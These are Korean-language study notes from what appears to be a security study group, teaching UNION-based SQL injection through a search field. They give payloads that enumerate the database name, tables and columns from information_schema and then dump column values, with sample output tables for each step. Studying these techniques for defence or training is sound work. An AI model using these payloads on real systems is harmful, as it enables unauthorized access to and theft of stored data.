-검색결과가 나오는 case
-> ex)검색창
| title | content | hit | 설명 |
|---|---|---|---|
| php | php is ... | 26 | 출력되는 값 |
| 2 | 3 | 4 | <- ri%' union select 1,2,3,4# 를 검색 |
| title | content | hit | 설명 |
|---|---|---|---|
| php | php is ... | 26 | 출력되는 값 |
| 2 | sql_DB | 4 | <- ri%' union select 1,2,database(),4# 를 검색 |
| title | content | hit | 설명 |
|---|---|---|---|
| php | php is ... | 26 | 출력되는 값 |
| 2 | sql_T | 4 | <- 적용예시 입력 후 값 |
| sql_T1 | |||
| sql_T2 |
Column 확인하는 spl문 -> information_schema.columns
-> SQL="SELECT column_name from information_schema.columns where table_schema='DB이름'"
적용예시
-> ri%' union select 1,2,column_name,4 from information_schema.columns where table_schema='sql_DB'"#
| title | content | hit | 설명 |
|---|---|---|---|
| php | php is ... | 26 | 출력되는 값 |
| 2 | sql_Col | 4 | <- 적용예시 입력 후 값 |
| sql_Col1 | |||
| sql_Col2 |
SQL 평문- SELECT (column이름) FROM (table이름)
적용예시
-> ri%' union select 1,sql_Col,sql_Col1,4 from sql_T where 1 = 1 and '%1%' = '%1
+) where 1=1 을 추가하지 않으면 작동되지 않는다.
WHY
-> AND은 WHERE과 같은 조건절에 사용가능
-> order by 나 limit은 마지막에 와야함 -> AND사용불가
+) 앞에 결과에서 값중 원하는 컬럼과 테이블 선택
| title | content | hit | 설명 |
|---|---|---|---|
| php | php is ... | 26 | 출력되는 값 |
| col_value1 | col_value2 | 4 | <- 적용예시 입력 후 값 |
--normaltic study 6주차--